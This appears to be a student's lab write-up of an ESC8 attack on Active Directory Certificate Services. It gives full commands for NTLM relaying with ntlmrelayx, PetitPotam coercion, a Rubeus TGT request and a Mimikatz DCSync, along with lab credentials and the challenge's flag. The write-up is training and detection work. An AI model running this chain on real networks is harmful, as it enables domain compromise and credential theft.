Lab Report#13 — Abusing ADCS via NTLM Relaying (ESC8)

Introduction

In this lab, we explored a real-world exploitation technique known as ESC8, which targets misconfigured Active Directory Certificate Services (ADCS) using NTLM relaying. This technique allows an attacker to impersonate privileged users by requesting a certificate on their behalf. Once a certificate is issued, it can be used to request a Ticket Granting Ticket (TGT), potentially leading to full domain compromise.

This report details how I carried out this attack scenario, verified its success via event logs, and extracted the required flag.

Objective

Replicate the attack described in the ESC8 section and inspect Event IDs 4886 and 4887 on the Domain Controller to retrieve the Requester field. This value is the final answer to the challenge.

Tools Used

• Impacket’s ntlmrelayx.py
• PetitPotam (dementor.py)
• Rubeus
• Mimikatz
• Event Viewer (on DC1)
• RDP access to:
• Academy Kali machine
• WS001 (Windows endpoint)
• DC1 (Domain Controller)

Step-by-Step Execution

1. Preparing the Relay Attack

From the Kali host, I launched ntlmrelayx.py with the following command to target the Certificate Authority (CA) HTTP interface:

impacket-ntlmrelayx -t http://dc1.eagle.local/certsrv/ -smb2support --adcs --template Machine --no-smb-signing

This prepared the relay server to catch incoming NTLM authentications and forward them to the CA.

2. Coercing Authentication with PetitPotam

On the same Kali host, I used PetitPotam (dementor.py) to coerce authentication from a machine account (e.g., DC2):

python3 dementor.py -d eagle.local -u administrator -p 'HTB_@cademy_stdnt!' -t 172.16.18.3 --target-ip 172.16.18.2

This forced a system to authenticate to my relay listener, which successfully forwarded the authentication to the CA, requesting a certificate for the target machine.

3. Using the Issued Certificate

Once the certificate was received, I used Rubeus to import and request a TGT:

Rubeus.exe asktgt /user:DC2$ /certificate:base64cert /domain:eagle.local /ptt

The process returned a valid TGT and injected it into memory.

4. Performing DCSync via Mimikatz

With domain-level privileges, I used Mimikatz to run a DCSync and retrieve the NTLM hash of the Administrator account:

lsadump::dcsync /domain:eagle.local /user:Administrator

This proved that the attack chain resulted in full domain compromise.

Log Analysis on the Domain Controller

To verify the trace left behind by the attack:

1. I connected to DC1 using the following credentials via RDP:

• Username: htb-student
• Password: HTB_@cademy_stdnt!

1. I opened Event Viewer and navigated to:

• Applications and Services Logs > Microsoft > Windows > CertificateServicesClient-Lifecycle-System

1. I applied a filter for Event IDs 4886 and 4887 and used Ctrl + F to search for the Requester.
2. I found a log entry where the Requester field revealed the identity of the machine account used in the attack:

• EAGLE\DC2$

Conclusion

This lab demonstrated the power of NTLM relaying against vulnerable ADCS setups. By exploiting ESC8, I was able to coerce authentication from a machine account, relay it to the CA, obtain a certificate, and use it to escalate privileges across the domain.

Final Answer:

EAGLE\DC2$

This scenario highlights the importance of:

• Disabling NTLM where not needed.
• Hardening CA permissions.
• Monitoring Event IDs like 4886 and 4887 to detect certificate abuse.